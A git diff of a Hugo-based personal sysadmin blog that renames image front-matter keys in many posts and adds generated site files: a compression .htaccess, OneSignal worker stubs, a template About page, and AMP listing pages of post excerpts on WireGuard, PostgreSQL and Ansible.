a/content/post/install-nvidia-driver-cuda-pgstrom-in-ubuntu-1804.md b/content/post/install-nvidia-driver-cuda-pgstrom-in-ubuntu-1804.md index 9027ee22..ebce5c13 100644 --- a/content/post/install-nvidia-driver-cuda-pgstrom-in-ubuntu-1804.md +++ b/content/post/install-nvidia-driver-cuda-pgstrom-in-ubuntu-1804.md @@ -2,7 +2,8 @@ title: "[筆記] 在ubuntu 18.04 下安裝nvidia 顯示卡驅動程式以及 pgstrom / Install Nvidia Driver Cuda Pgstrom in Ubuntu 1804" date: 2019-08-20T14:51:54+08:00 noSummary: false -featuredImage: "https://h.cowbay.org/images/post-default-7.jpg" +#image: "https://h.cowbay.org/images/post-default-7.jpg" +image: "https://h.cowbay.org/images/post-default-7.jpg" categories: ['筆記'] tags: ['nvidia'] author: "Eric Chang" diff --git a/content/post/install-timeshift-on-ubuntu1804.md b/content/post/install-timeshift-on-ubuntu1804.md index 6b85b2a2..334c20e0 100644 --- a/content/post/install-timeshift-on-ubuntu1804.md +++ b/content/post/install-timeshift-on-ubuntu1804.md @@ -3,7 +3,7 @@ title: "Install Timeshift on Ubuntu1804" date: 2019-03-11T14:02:30+08:00 noSummary: false -featuredImage: "https://h.cowbay.org/images/post-default-11.jpg" +image: "https://h.cowbay.org/images/post-default-12.jpg" categories: [筆記] tags: [ubuntu,backup] author: "Eric Chang" diff --git a/content/post/install-ubuntu1804-on-dell-6ir-raid-controller.md b/content/post/install-ubuntu1804-on-dell-6ir-raid-controller.md index 288d6b2a..9a2857df 100644 --- a/content/post/install-ubuntu1804-on-dell-6ir-raid-controller.md +++ b/content/post/install-ubuntu1804-on-dell-6ir-raid-controller.md @@ -2,7 +2,7 @@ title: "用DELL 6 i/R 建立RAID,並在上面安裝ubuntu 18.04 " date: 2019-01-16T16:17:05+08:00 noSummary: false -featuredImage: "https://h.cowbay.org/images/post-default-11.jpg" +image: "https://h.cowbay.org/images/post-default-11.jpg" categories: ['筆記'] tags: ['ubuntu'] author: "Eric Chang" diff --git a/content/post/inx-collect-detail-hardware-info.md b/content/post/inx-collect-detail-hardware-info.md index a273a43f..9d58b638 100644 --- a/content/post/inx-collect-detail-hardware-info.md +++ b/content/post/inx-collect-detail-hardware-info.md @@ -4,7 +4,7 @@ date: 2019-04-23T15:28:56+08:00 draft: false noSummary: false -featuredImage: "https://h.cowbay.org/images/post-default-10.jpg" +image: "https://h.cowbay.org/images/post-default-10.jpg" categories: ['筆記'] tags: ['linux','bsd','inventory'] author: "Eric Chang" diff --git a/content/post/log-all-bash-commands.md b/content/post/log-all-bash-commands.md index d1fa73e0..b3b07968 100644 --- a/content/post/log-all-bash-commands.md +++ b/content/post/log-all-bash-commands.md @@ -4,7 +4,7 @@ date: 2019-04-23T15:08:36+08:00 draft: false noSummary: false -featuredImage: "https://h.cowbay.org/images/post-default-11.jpg" +image: "https://h.cowbay.org/images/post-default-11.jpg" categories: ['筆記'] tags: ['log'] author: "Eric Chang" diff --git a/content/post/multiple-site-to-site-vpn-using-wireguard.md b/content/post/multiple-site-to-site-vpn-using-wireguard.md index 17bc1465..3dbe6416 100644 --- a/content/post/multiple-site-to-site-vpn-using-wireguard.md +++ b/content/post/multiple-site-to-site-vpn-using-wireguard.md @@ -2,7 +2,7 @@ title: "[筆記] 透過 wireguard 建立多點 site to site VPN / Multiple Site to Site VPN Using Wireguard" date: 2019-08-13T15:50:31+08:00 noSummary: false -featuredImage: "https://h.cowbay.org/images/post-default-10.jpg" +image: "https://h.cowbay.org/images/post-default-10.jpg" categories: ['筆記'] tags: ['vpn','ubuntu','wireguard'] author: "Eric Chang" diff --git a/content/post/nice-du-report-tool-durep.md b/content/post/nice-du-report-tool-durep.md index 7b5392e5..633eab17 100644 --- a/content/post/nice-du-report-tool-durep.md +++ b/content/post/nice-du-report-tool-durep.md @@ -3,7 +3,7 @@ title: "Nice Du Report Tool Durep" date: 2018-11-06T15:24:29+08:00 noSummary: false -featuredImage: "https://h.cowbay.org/images/post-default-9.jpg" +image: "https://h.cowbay.org/images/post-default-9.jpg" categories: ['筆記'] tags: ['linux','du'] author: "Eric Chang" diff --git a/content/post/pg_auto_failover_in_ubuntu_1804_psql_11.md b/content/post/pg_auto_failover_in_ubuntu_1804_psql_11.md index 87b2e661..19c9ec8f 100644 --- a/content/post/pg_auto_failover_in_ubuntu_1804_psql_11.md +++ b/content/post/pg_auto_failover_in_ubuntu_1804_psql_11.md @@ -2,7 +2,7 @@ title: "[筆記] 在ubuntu 18.04安裝psql 11 以及 pg_auto_failover / install psql 11 and pg_auto_failover in ubuntu 18.04" date: 2019-09-20T10:17:17+08:00 noSummary: false -featuredImage: "https://h.cowbay.org/images/post-default-11.jpg" +image: "https://h.cowbay.org/images/post-default-11.jpg" categories: ['筆記'] tags: ['postgresql','failover'] author: "Eric Chang" diff --git a/content/post/pgbarman-in-ubuntu-1804-postgresql-10-via-ssh.md b/content/post/pgbarman-in-ubuntu-1804-postgresql-10-via-ssh.md index 02777470..567d7b77 100644 --- a/content/post/pgbarman-in-ubuntu-1804-postgresql-10-via-ssh.md +++ b/content/post/pgbarman-in-ubuntu-1804-postgresql-10-via-ssh.md @@ -2,7 +2,7 @@ title: "[筆記] 在Ubuntu 18.04 下 透過 pgbarman rsync/ssh backup 備份 postgresql 10 / backup postgresql 10 with pgbarman via ssh/rsync in ubuntu 18.04" date: 2019-08-23T14:54:13+08:00 noSummary: false -featuredImage: "https://h.cowbay.org/images/post-default-4.jpg" +image: "https://h.cowbay.org/images/post-default-4.jpg" categories: ['筆記'] tags: ['postgresql','pgbarman'] author: "Eric Chang" diff --git a/content/post/pgbarman-in-ubuntu-1804-postgresql-10.md b/content/post/pgbarman-in-ubuntu-1804-postgresql-10.md index 443171db..47531cfe 100644 --- a/content/post/pgbarman-in-ubuntu-1804-postgresql-10.md +++ b/content/post/pgbarman-in-ubuntu-1804-postgresql-10.md @@ -2,7 +2,7 @@ title: "[筆記] 在Ubuntu 18.04 下 透過 pgbarman streaming backup 備份 postgresql 10/ backup postgresql 10 with pgbarman straming backup in ubuntu 18.04" date: 2019-08-23T13:53:40+08:00 noSummary: false -featuredImage: "https://h.cowbay.org/images/post-default-4.jpg" +image: "https://h.cowbay.org/images/post-default-4.jpg" categories: ['筆記'] tags: ['postgresql','pgbarman'] author: "Eric Chang" diff --git a/content/post/postgresql-backup-restore-using-zfs-snapshot.md b/content/post/postgresql-backup-restore-using-zfs-snapshot.md index 47f4b3fb..12183bfb 100644 --- a/content/post/postgresql-backup-restore-using-zfs-snapshot.md +++ b/content/post/postgresql-backup-restore-using-zfs-snapshot.md @@ -2,7 +2,7 @@ title: "[筆記] 用zfs的snapshot 快照功能來做 postgresql 的備份還原 / Postgresql Backup Restore Using Zfs Snapshot" date: 2019-09-06T10:42:11+08:00 noSummary: false -featuredImage: "https://h.cowbay.org/images/post-default-5.jpg" +image: "https://h.cowbay.org/images/post-default-5.jpg" categories: ['筆記'] tags: ['postgresql','zfs','backup','restore'] author: "Eric Chang" diff --git a/content/post/recommended-ulauncher-in-ubuntu-1804.md b/content/post/recommended-ulauncher-in-ubuntu-1804.md index abe46f69..4d7e8b00 100644 --- a/content/post/recommended-ulauncher-in-ubuntu-1804.md +++ b/content/post/recommended-ulauncher-in-ubuntu-1804.md @@ -4,7 +4,8 @@ date: 2019-10-04T14:12:15+08:00 draft: false noSummary: false -featuredImage: "https://h.cowbay.org/images/post-default-11.jpg" +#image: "https://h.cowbay.org/images/post-default-11.jpg" +image: "https://h.cowbay.org/images/post-default-16.jpg" categories: [''] tags: ['launcher'] author: "Eric Chang" diff --git a/content/post/remote-management-system-meshcentral.md b/content/post/remote-management-system-meshcentral.md index 832214f8..32862670 100644 --- a/content/post/remote-management-system-meshcentral.md +++ b/content/post/remote-management-system-meshcentral.md @@ -4,7 +4,7 @@ date: 2019-06-20T11:03:12+08:00 draft: false noSummary: false -featuredImage: "https://h.cowbay.org/images/post-default-5.jpg" +image: "https://h.cowbay.org/images/post-default-5.jpg" categories: ['筆記'] tags: ['linux','remote','meshcentral'] author: "Eric Chang" diff --git a/content/post/send-mail-to-notify-after-pxe-install.md b/content/post/send-mail-to-notify-after-pxe-install.md index 72d248f2..15ae5e56 100644 --- a/content/post/send-mail-to-notify-after-pxe-install.md +++ b/content/post/send-mail-to-notify-after-pxe-install.md @@ -2,7 +2,7 @@ title: "[筆記] 用pxe 安裝系統,完成後送出郵件通知 / send mail notification after pxe install" date: 2019-07-31T11:06:33+08:00 noSummary: false -featuredImage: "https://h.cowbay.org/images/post-default-11.jpg" +image: "https://h.cowbay.org/images/post-default-11.jpg" categories: ['筆記'] tags: ['PXE','ubuntu','linux'] author: "Eric Chang" diff --git a/content/post/site-to-site-vpn-using-wireguard-in-two-edgerouters.md b/content/post/site-to-site-vpn-using-wireguard-in-two-edgerouters.md index f89d093b..69075905 100644 --- a/content/post/site-to-site-vpn-using-wireguard-in-two-edgerouters.md +++ b/content/post/site-to-site-vpn-using-wireguard-in-two-edgerouters.md @@ -2,7 +2,7 @@ title: "[筆記] 在edgerouter上用wireguard 建立site to site VPN / Site to Site Vpn Using Wireguard in Two Edgerouters" date: 2019-08-06T17:14:17+08:00 noSummary: false -featuredImage: "https://h.cowbay.org/images/post-default-5.jpg" +image: "https://h.cowbay.org/images/post-default-5.jpg" categories: ['筆記'] tags: ['vpn','edgerouter'] author: "Eric Chang" diff --git a/content/post/smartd-failed-to-start-in-freenas.md b/content/post/smartd-failed-to-start-in-freenas.md index 37fc20e2..928d61be 100644 --- a/content/post/smartd-failed-to-start-in-freenas.md +++ b/content/post/smartd-failed-to-start-in-freenas.md @@ -2,7 +2,7 @@ title: "[筆記] Freenas Smartd 啟動失敗 Smartd Failed to Start in Freenas" date: 2018-12-13T17:40:20+08:00 noSummary: false -featuredImage: "https://h.cowbay.org/images/post-default-2.jpg" +image: "https://h.cowbay.org/images/post-default-2.jpg" categories: ['筆記'] tags: ['freenas'] author: "Eric Chang" diff --git a/content/post/synology-ds415-repair-cost.md b/content/post/synology-ds415-repair-cost.md index 03bbe899..54122e1b 100644 --- a/content/post/synology-ds415-repair-cost.md +++ b/content/post/synology-ds415-repair-cost.md @@ -2,7 +2,7 @@ title: "[雜念] 群暉 Synology NAS DS 415+ 誇張的維修費用" date: 2018-12-04T10:25:19+08:00 noSummary: false -featuredImage: "https://h.cowbay.org/images/post-default-11.jpg" +image: "https://h.cowbay.org/images/post-default-13.jpg" categories: ['群暉'] tags: ['NAS','群暉','synology'] author: "Eric Chang" diff --git a/content/post/transfer-cent62-using-rsync.md b/content/post/transfer-cent62-using-rsync.md index 11ff443f..b33c04c0 100644 --- a/content/post/transfer-cent62-using-rsync.md +++ b/content/post/transfer-cent62-using-rsync.md @@ -3,7 +3,7 @@ title: "[筆記] 用rsync 移轉 centos 6.2的老機器 Transfer Cent6.2 using r date: 2019-03-27T17:44:49+08:00 noSummary: false -featuredImage: "https://h.cowbay.org/images/post-default-9.jpg" +image: "https://h.cowbay.org/images/post-default-9.jpg" categories: ['筆記'] tags: ['centos','linux'] author: "Eric Chang" diff --git a/content/post/transfer-file-content-using-xclip-in-terminal.md b/content/post/transfer-file-content-using-xclip-in-terminal.md index 1f6fb1e0..d55ccf4e 100644 --- a/content/post/transfer-file-content-using-xclip-in-terminal.md +++ b/content/post/transfer-file-content-using-xclip-in-terminal.md @@ -4,7 +4,7 @@ date: 2019-05-17T12:18:54+08:00 draft: false noSummary: false -featuredImage: "https://h.cowbay.org/images/post-default-11.jpg" +image: "https://h.cowbay.org/images/post-default-11.jpg" categories: ['linux'] tags: ['linux'] author: "Eric Chang" diff --git a/content/post/ubuntu-1804-install-root-on-raid.md b/content/post/ubuntu-1804-install-root-on-raid.md index 701fb0b0..6f0bc87b 100644 --- a/content/post/ubuntu-1804-install-root-on-raid.md +++ b/content/post/ubuntu-1804-install-root-on-raid.md @@ -2,7 +2,7 @@ title: "Ubuntu 1804 Install Root on Raid" date: 2019-01-16T09:58:50+08:00 noSummary: false -featuredImage: "https://h.cowbay.org/images/post-default-11.jpg" +image: "https://h.cowbay.org/images/post-default-14.jpg" categories: ['筆記'] tags: ['ubuntu','raid'] author: "Eric Chang" diff --git a/content/post/weird-client-server-connection.md b/content/post/weird-client-server-connection.md index 105f6a7f..9337a867 100644 --- a/content/post/weird-client-server-connection.md +++ b/content/post/weird-client-server-connection.md @@ -3,7 +3,7 @@ title: "[筆記] 詭異的client&server間連線的問題,或許跟KVM有關 date: 2018-11-08T18:01:23+08:00 noSummary: false -featuredImage: "https://h.cowbay.org/images/post-default-4.jpg" +image: "https://h.cowbay.org/images/post-default-4.jpg" categories: ['筆記'] tags: ['ubuntu','筆記'] author: "Eric Chang" diff --git a/public/.htaccess b/public/.htaccess new file mode 100644 index 00000000..58eeb9f2 --- /dev/null +++ b/public/.htaccess @@ -0,0 +1,16 @@ + +AddOutputFilterByType DEFLATE text/plain +AddOutputFilterByType DEFLATE text/html +AddOutputFilterByType DEFLATE text/xml +AddOutputFilterByType DEFLATE text/css +AddOutputFilterByType DEFLATE application/xml +AddOutputFilterByType DEFLATE application/xhtml+xml +AddOutputFilterByType DEFLATE application/rss+xml +AddOutputFilterByType DEFLATE application/javascript +AddOutputFilterByType DEFLATE application/x-javascript +AddOutputFilterByType DEFLATE image/jpg +AddOutputFilterByType DEFLATE image/png +AddOutputFilterByType DEFLATE image/gif +AddOutputFilterByType DEFLATE image/jpeg +AddOutputFilterByType DEFLATE image/svg+xml + \ No newline at end of file diff --git a/public/404.html b/public/404.html index afc59f9c..b2ffed9e 100644 --- a/public/404.html +++ b/public/404.html @@ -1,243 +1,17 @@ - - - - - - - - - - - 404 Page not found | MCの飄狂山莊㊣ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- -
-

MCの飄狂山莊㊣

- - What’s the Worst That Could Happen? - -
- - - - -
- - -
-
-
- - -
- - -
-
- - - - -
-
-

WOAH BUDDY!

-

-

This is definitly not the page you're looking for...

-

An Error 404 occured. That means the page is not available.

-

Please select a category at the bottom or change over to the HOMEPAGE.

-
-
-
-
- -
- - - - - -
- -
- - - + + + + + + + + 404 Page not found | MCの飄狂山莊㊣ + + + + + + - - - - - - - - - - - - - - - - - - - - - - - - - + + +
+ + +
+
+ +
+
+

+

+ +
+
+ +
+ + + \ No newline at end of file diff --git a/public/OneSignalSDKUpdaterWorker.js b/public/OneSignalSDKUpdaterWorker.js new file mode 100644 index 00000000..720b1d78 --- /dev/null +++ b/public/OneSignalSDKUpdaterWorker.js @@ -0,0 +1 @@ +importScripts('https://cdn.onesignal.com/sdks/OneSignalSDKWorker.js'); diff --git a/public/OneSignalSDKWorker.js b/public/OneSignalSDKWorker.js new file mode 100644 index 00000000..720b1d78 --- /dev/null +++ b/public/OneSignalSDKWorker.js @@ -0,0 +1 @@ +importScripts('https://cdn.onesignal.com/sdks/OneSignalSDKWorker.js'); diff --git a/public/about/index.html b/public/about/index.html new file mode 100644 index 00000000..c250c4ca --- /dev/null +++ b/public/about/index.html @@ -0,0 +1,605 @@ + + + + + + + + About me + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ Skip to content + + +
+ + + + + + + +
+ + +
+ + + +
+

About me

+
+
+
+
+ + +

An sincerity so extremity he additions. Her yet there truth merit. Mrs all projecting favourable now unpleasing. Son law garden chatty temper. Oh children provided to mr elegance marriage strongly. Off can admiration prosperous now devonshire diminution law.

+ +

Received overcame oh sensible so at an. Formed do change merely to county it. Am separate contempt domestic to to oh. On relation my so addition branched. Put hearing cottage she norland letters equally prepare too. Replied exposed savings he no viewing as up. Soon body add him hill. No father living really people estate if. Mistake do produce beloved demesne if am pursuit.

+ +

This is me

+ +

The Big Oxmox advised her not to do so, because there were thousands of bad Commas, wild Question Marks and devious Semikoli, but the Little Blind Text didn’t listen. She packed her seven versalia, put her initial into the belt and made herself on the way.

+ +

Education

+ +
    +
  • Lorem ipsum dolor sit amet, consectetuer adipiscing elit.
  • +
  • Aliquam tincidunt mauris eu risus.
  • +
+ +

When she reached the first hills of the Italic Mountains, she had a last view back on the skyline of her hometown Bookmarksgrove, the headline of Alphabet Village and the subline of her own road, the Line Lane. Pityful a rethoric question ran over her cheek, then

+ +
+
+ + + + +
+ +
+ + Eric Chang + + + Written by: +
+
+ + +

塵世裡一個迷途小書僮

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ +
+
+ + +comments powered by Disqus + + + + + + +
+
+ + + + + +
+ + + +
+ + + + + + diff --git a/public/amp/index.html b/public/amp/index.html new file mode 100644 index 00000000..09692684 --- /dev/null +++ b/public/amp/index.html @@ -0,0 +1,476 @@ + + + + Parsa | Personal Blog Template + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+ + + +
+
+
+ + + + + +
+
+
+ +
+
+
+ + + +
+
+
+ + +
+ +
+ +
+ +
+ +
+
+ post-thumb +

[筆記]

+

[筆記] 在ubuntu 18.04安裝psql 11 以及 pg_auto_failover / install psql 11 and pg_auto_failover in ubuntu 18.04

+

最近都在弄postgresql

+ +

備份、還原測試得差不多了,就等著看到時候要用什麼方式

+ +

前幾天看到 pg_auto_failover 這個postgresql 的extension

+ +

https://github.com/citusdata/pg_auto_failover

+ +

感覺挺不錯的,看起來設定很簡單,雖然之前已經測試了 keepalived 做 HA

+ +

不過,反正當作練功嘛,多測試一套也不錯!

+ read more +
+
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+
+ +
+ + + + + + + + + + + + + +
+ +
+
+
+ + + + + + +
+
+
+
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/public/amp/page/1/index.html b/public/amp/page/1/index.html new file mode 100644 index 00000000..a3b9cf06 --- /dev/null +++ b/public/amp/page/1/index.html @@ -0,0 +1 @@ +https://h.cowbay.org/amp/ \ No newline at end of file diff --git a/public/amp/page/2/index.html b/public/amp/page/2/index.html new file mode 100644 index 00000000..4c9a4011 --- /dev/null +++ b/public/amp/page/2/index.html @@ -0,0 +1,510 @@ + + + + Parsa | Personal Blog Template + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+ + + +
+
+
+ + + + + +
+
+
+ +
+
+
+ + + +
+
+
+ + +
+ +
+ +
+ +
+ +
+ +
+ +
+
+ post-thumb +

[筆記]

+

[筆記] 在gcp 中用wireguard建立VPN時,不要用 10.0.0.0/16 網段/Do No Use 10 0 0 0 Private Ipaddr in GCP

+

最近一直在玩 wireguard ,先前把各個分公司和總部的VPN 改用 wireguard 建立

+ +

想說再打個VPN tunnel 來當跳板連 ptt 好了

+ +

因為wireguard 建立很簡單,而且又可以指定想要繞出去的路由,不會影響原本的網路環境

+ +

本來是在vultr 的VPS上面建立這個tunnel

+ +

但是那台VPS連去ptt 很頓,卡卡的

+ +

所以改用google cloud platform 的free tier 來做

+ +

反正只是拿來當跳板,不會有什麼流量、運算產生,可以一直保持免費的狀態

+ read more +
+
+ +
+
+ post-thumb +

[筆記]

+

[筆記] 透過 wireguard 建立多點 site to site VPN / Multiple Site to Site VPN Using Wireguard

+

因為實在受夠了現在用的 openwrt + strongswan 建立 IPSec VPN

+ +

雖然說其實沒有什麼不好,但是畢竟不是我建立的,而當初的文件也都不見了

+ +

完全沒辦法了解當時設計的邏輯,造成後續debug 困難

+ +

可以想像一下,一台VPN router ping 不到remote、ping不到internet、甚至ping不到自己 是要怎麼debug !?(翻桌

+ +

之前買了兩台edgerouter X 拿來玩了一下 wireguard,感覺還不錯,不過只有測試到點對點

+ +

這次試試看躲在gateway後面,看看能不能建立多點的VPN環境

+ read more +
+
+ +
+
+ post-thumb +

[筆記]

+

[筆記] 在edgerouter上用wireguard 建立site to site VPN / Site to Site Vpn Using Wireguard in Two Edgerouters

+

之前總部和分公司之間 是用buffalo 的小AP 灌 openwrt

+ +

然後用strongswan 來打 IPSEC site to site VPN

+ +

config 看起來不是很難 (只是看起來)

+ +

但是實際上已經找不到當初的文件

+ +

所以要維護很困難(光那些RSA KEY 就不知道為何、如何產生)

+ +

後來採購了兩台edgerouter X 做測試

+ +

也用openvpn 成功的建立了 site to site VPN

+ +

本來想說 openvpn 已經夠簡單了

+ +

今天看到文章說用wireguard 可以更簡單

+ +

於是研究了一下,發現還真的很簡單!

+ read more +
+
+ +
+
+ +
+ + + + + + + + + + + + + +
+ +
+
+
+ + + + + + +
+
+
+
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/public/amp/page/3/index.html b/public/amp/page/3/index.html new file mode 100644 index 00000000..eb547406 --- /dev/null +++ b/public/amp/page/3/index.html @@ -0,0 +1,511 @@ + + + + Parsa | Personal Blog Template + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+ + + +
+
+
+ + + + + +
+
+
+ +
+
+
+ + + +
+
+
+ + +
+
+ post-thumb +

[ansible]

+

[筆記] 為了保存log 用script 指令執行ansible / Another Way to Keep Ansible Log using script command

+

之前為了能夠在執行完 ansible playbook 後,能有個log 可以看

+ +

所以在每次執行的時候,都要加入 tee 的指令

+ +

像是

+ +
ANSIBLE_CONFIG=/home/D/ansiblecontrol/ansible.cfg /usr/local/bin/ansible-playbook  /home/D/ansiblecontrol/playbook.user_client.yml --vault-password-file=/home/D/ansiblecontrol/vault.passwd -i /home/D/ansiblecontrol/inventory/production -f1 --limit tyuserclients |tee /tmp/tyuserclients.log
+
+ +

一直都是放在crontab 裡面執行,也就沒有去管他

+ +

反正也沒有人關心結果怎樣 (攤手

+ read more +
+
+ +
+
+ post-thumb +

[筆記]

+

[筆記] 用pxe 安裝系統,完成後送出郵件通知 / send mail notification after pxe install

+

最近有個任務,需要大量安裝client

+ +

想用PXE來處理,只要user開機按F12(acer 桌機) 選擇PXE Boot

+ +

然後選擇OS版本,就可以自動進行安裝

+ +

安裝完成後,會自動重新開機,接著就用ansible來做user環境設定

+ +

PXE的部份本來是沒有什麼問題,自動安裝系統的部份都做好了

+ +

可是因為這次的量比較多,想說讓每一台在完成PXE安裝後的第一次重開機

+ +

就送出一封郵件來通知我,說已經完成安裝,可以執行ansible 了

+ +

看似很簡單的一件事情,卻搞了我兩天….

+ read more +
+
+ +
+ +
+ +
+ +
+ +
+
+ post-thumb +

[筆記]

+

linux底下遠端遙控&管理的好用系統 Meshcentral / Remote Management & control system Meshcentral

+

之前在LAN/windows環境下,一直都是用ultravnc/winvnc/tigervnc之類的VNC軟體

+ +

但是如果要過 internet ,就會碰到各種開port的問題

+ +

在這種環境下,就有了當時 teamviewer 的橫空出世

+ +

解決了開PORT的問題,讓被控端(通常是資訊技術相對弱勢,需要接受幫助的一方)不需要懂太多

+ +

只要下載teamviewer被控端,開啟後報ID 給協助者就好了

+ read more +
+
+ +
+
+ post-thumb +

[Proxmox]

+

Install Asus 10G NIC XG-C100C in Proxmox

+

前幾天接的一個case

+ +

因為費用的關係,所以沒有考慮用傳統定義上的伺服器(DELL R640)

+ +

改採用比較高階一點的洋垃圾,規格大概是 Intel E5-2680V2 x2 + 64G RAM + 128G SSD x2 (OS) + 960G SSD x4 (raid 10 , zfs)

+ +

storage 選擇QNAP NAS TS-932X + 960G SSD x 4 (raid 10 , NFS) + QNAP 10G Switch QSW-1280C-8C

+ +

既然storage這邊選用了10G的機種,伺服器上當然也要增加10G網卡

+ +

一樣,成本考量,就不用INTEL 了,買了這張 ASUS 10G 網卡

+ read more +
+
+ +
+
+ +
+ + + + + + + + + + + + + +
+ +
+
+
+ + + + + + +
+
+
+
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/public/amp/page/4/index.html b/public/amp/page/4/index.html new file mode 100644 index 00000000..99a3b374 --- /dev/null +++ b/public/amp/page/4/index.html @@ -0,0 +1,465 @@ + + + + Parsa | Personal Blog Template + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+ + + +
+
+
+ + + + + +
+
+
+ +
+
+
+ + + +
+
+
+ + +
+ +
+ +
+
+ post-thumb +

[linux]

+

Transfer File Content Using Xclip in Terminal

+

工作上常會需要用ssh登入遠端主機檢查LOG,有必要的時候,還要把log複製回本機來處理。

+ +

以前都是傻傻的用 scp 傳檔案

+ +

之前就記得有這個xclip/xsel 可以用,但是一直沒有弄清楚怎麼執行

+ +

早上研究了一下,順便做個筆記。

+ read more +
+
+ +
+
+ post-thumb +

[筆記]

+

[筆記] inxi 蒐集詳盡的硬體資訊 / inxi Collect Detail Hardware Info

+

最近因為一直碰到硬碟故障的問題,算起來那一批同時購買的5X顆 seagate 2T硬碟,已經有一半以上故障返修了….

+ +

然後又因為一直沒有添購新的硬碟,只能用這些快過保/已過保的撐著

+ +

所以最近不斷的在更換機器內的硬碟,而且還沒有熱插拔!

+ +

也導致原本負責處理盤點資產的同事困擾,因為跟手邊的紀錄已經對不起來了

+ +

然後就變成要對資產的時候,需要一台一台登入,然後去下不同的指令,取得想要的硬體資訊,超級麻煩的!

+ read more +
+
+ +
+
+ post-thumb +

[筆記]

+

[筆記] 紀錄所有下過的指令、時間 / Log All commands with timestamp

+

今天發生一件有點詭異的事情,本來應該要經過某個指令才會產生的檔案

+ +

居然不知為何自己產生了,在我記憶中沒有去執行過那個指令

+ +

翻了一下 bash_history ,裡面也只有下過哪些指令,沒有紀錄時間,完全沒有參考價值(攤手)

+ +

所以翻了一下網路,至少把這兩台主要跑ansible的機器的log功能補上紀錄所有指令以及時間的部份

+ read more +
+
+ +
+ +
+ +
+ +
+ +
+
+ +
+ + + + + + + + + + + + + +
+ +
+
+
+ + + + + + +
+
+
+
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/public/amp/page/5/index.html b/public/amp/page/5/index.html new file mode 100644 index 00000000..505878e9 --- /dev/null +++ b/public/amp/page/5/index.html @@ -0,0 +1,481 @@ + + + + Parsa | Personal Blog Template + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+ + + +
+
+
+ + + + + +
+
+
+ +
+
+
+ + + +
+
+
+ + +
+ +
+ +
+
+ post-thumb +

[筆記]

+

Install Timeshift on Ubuntu1804

+

最近要開始測試client安裝 ubuntu 18.04 的 ansible playbook

+ +

因為要不斷的修正,所以想到一直有在自己電腦上執行的timeshift這個軟體

+ +

可以很簡單快速的備份、恢復系統狀態

+ +

可是不知道為什麼,在ubuntu 18.04 上安裝就是會發生錯誤….

+ read more +
+
+ +
+ +
+ +
+
+ post-thumb +

[筆記]

+

Ubuntu 1804 Install Root on Raid

+

最近在弄一台機器,想要把ubuntu 18.04 安裝在software raid上

+ +

因為新開的機器大部分都是在proxmox上,所以很少碰實體機器了

+ +

結果在安裝過程中,做raid碰到一些問題,來紀錄一下

+ read more +
+
+ +
+ +
+ +
+ +
+ +
+
+ +
+ + + + + + + + + + + + + +
+ +
+
+
+ + + + + + +
+
+
+
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/public/amp/page/6/index.html b/public/amp/page/6/index.html new file mode 100644 index 00000000..a72d31fe --- /dev/null +++ b/public/amp/page/6/index.html @@ -0,0 +1,540 @@ + + + + Parsa | Personal Blog Template + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+ + + +
+
+
+ + + + + +
+
+
+ +
+
+
+ + + +
+
+
+ + +
+ +
+ +
+
+ post-thumb +

[群暉]

+

[雜念] 群暉 Synology NAS DS 415+ 誇張的維修費用

+

前幾天公司的一台 Synology DS 415+ 發生異常

+ +

注意到的時候,四顆硬碟燈號都不斷的在閃爍

+ +

但是已經無法登入系統

+ +

重開機之後更慘,四顆硬碟燈號全部橘燈恆亮

+ +

底下的電源藍燈不斷的在閃爍

+ +

雖然我一再表示不希望送修了

+ +

一來是已經過保,二來是DS415+ 本身就有intel bug,三來是因為對synology的NAS 實在沒有愛…

+ +

不過主管還是希望能夠先問群暉維修的費用多少

+ read more +
+
+ +
+
+ post-thumb +

[筆記]

+

[筆記] 用 proxmox & Mellanox SFP 網卡土炮 10G LAB

+

想做一個 10G 的 LAB 環境出來已經很久了。

+ +

只是礙於10G RJ45的卡太貴了,然後光纖的種類又太複雜

+ +

如果直接在淘寶購買,很怕會買錯(什麼LC/FC LC/LC 多模單模 單芯雙芯 SFP/SFP+ 又是什麼光模塊的一大堆規格)

+ +

所以一直沒有付諸行動。

+ +

硬體的工作很久沒碰了,剛好在蝦皮看到有個賣家在賣 mellanox 的X2網卡,以在台灣的價格來說,算很便宜的 (550)

+ +

聊了一下,跟他請教了關於線材、光纖模塊的問題,回答也都很快很到位

+ +

就直接下訂了兩張網卡、兩個光纖模塊、一條LC/LC 光纖線

+ +

就是到貨有點久,等了兩個禮拜左右,一直到昨天東西才寄到

+ +

今天就花了點時間測試一下

+ read more +
+
+ +
+ +
+ +
+
+ post-thumb +

[筆記]

+

[筆記] Ansible how to use 'list' in yaml file

+

這幾天在玩ansible 時,碰到一個問題

+ +

假如我有個yaml檔作為資料來源,檔名是 abc.yml

+ +

大概長這樣

+ +
    "teams": [
+        {
+            "chinese_name": "TEAM1",
+            "description": "TEAM1",
+            "gid": 10125,
+            "location": [
+                "hq"
+            ],
+            "name": "aa",
+            "users": [
+                "chen",
+                "chou",
+                "huani",
+                "yey",
+                "wa"
+            ]
+        },
+        {
+            "chinese_name": "TEAM2",
+            "description": "TEAM2",
+            "gid": 10126,
+            "location": [
+                "hq"
+            ],
+            "name": "bb",
+            "users": [
+                "chhiao",
+                "chgc",
+                "chy",
+                "hsi",
+                "li",
+                "li",
+                "chgchi"
+            ]
+        }
+		]
+		
+

+ read more +
+
+ +
+ +
+ +
+
